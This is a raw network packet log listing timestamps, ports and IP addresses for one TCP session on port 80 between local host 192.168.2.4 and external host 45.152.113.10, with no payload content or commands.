Sep 11, 2024 22:52:08.866424084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866424084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866430998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866441011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866477966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866482973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866516113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866528988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866548061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866558075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866596937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866599083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866630077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866643906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866661072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866672993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866693974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866708040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866725922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866739035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866774082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866775990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866806984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866821051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866848946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866857052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866889000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866903067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866920948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.866934061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866965055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.866970062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867005110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867014885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867038012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867064953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867070913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867094040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867101908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867116928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867134094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867146969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867166042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867182970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867197990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867209911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867229939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867243052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867264032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867275000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867296934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.867309093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.867340088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905518055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905586958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905626059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905639887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905659914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905674934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905683994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905709028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905720949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905740976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905757904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905772924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905783892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905802965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905821085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905834913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905847073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905880928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905888081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905920029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905931950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905953884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.905965090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.905988932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906003952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906033039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906039000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906069994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906080961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906102896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906116962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906132936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906148911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906164885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906177998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906199932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906229019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906234026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906259060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906265974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906281948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906299114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906313896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906342983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906347990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906379938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906397104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906444073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906447887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906476021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906493902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906521082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906524897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906558990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906572104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906604052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906611919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906644106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906656981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906677961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906689882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906711102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906722069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906755924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906759024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906790972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906800985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906841993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906843901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906874895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906888962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906920910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.906923056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906955004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.906969070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907001019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907002926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907036066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907049894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907067060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907078028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907100916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907114029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907133102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907145977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907165051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907176971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907196999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907211065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907228947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907242060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907260895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907274008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907293081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907305956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907325029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907335997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907357931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907367945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907413006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907418013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907453060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907466888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907488108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907497883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907521009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907533884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907552958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907567024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907586098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907597065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907618046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907632113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907649994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907663107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907682896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907694101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907716036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907727003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907747030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907761097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907778978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907792091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907810926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907824039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907844067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907857895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907876015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907890081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907907963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907919884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907943010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.907962084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.907995939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.942440987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.942635059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.977500916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.982703924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.441953897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.441977024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.441992998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442008972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442024946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442035913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442039967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442054033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442070007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442071915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442071915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442087889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442094088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442101955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442116022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442117929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442133904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442137957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442146063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442159891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442161083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442174911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442183971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442188978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442203999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442210913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442219019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442226887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442234039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442249060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442254066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442264080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442275047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442281961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442296982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442301989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442322969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442342043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442343950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442357063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442372084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442379951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442388058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442394018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442403078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442408085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442420006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442425013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442440987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442444086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442451000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442459106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442472935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442481041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442487001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442491055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442503929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442512035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442519903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442528009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442536116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442543983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442550898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442560911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442568064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442576885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442583084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442590952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442599058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442610025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442615032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442620993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442640066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442656994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442807913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442821980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442837954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442851067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442853928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442861080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442867994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442881107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442883015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442898035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442898035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442912102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442915916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442928076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442939997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442943096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442959070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442965031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442974091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.442987919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.442989111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443003893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443013906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443018913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443032980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443037987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443048954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443062067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443073988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443085909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443296909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443310976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443325996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443336964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443341017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443352938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443356037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443368912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443371058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443394899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443408012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443413019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443418026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443428040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443437099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443442106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443455935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443465948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443466902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443480015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443487883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443495989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443500042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443510056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443512917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443526030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443526983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443538904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443543911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443556070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:09.443562031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443581104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.443589926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.625475883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.625475883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:09.924360991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.071882963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.071962118 CEST	49733	80	192.168.2.4	45.152.113.10
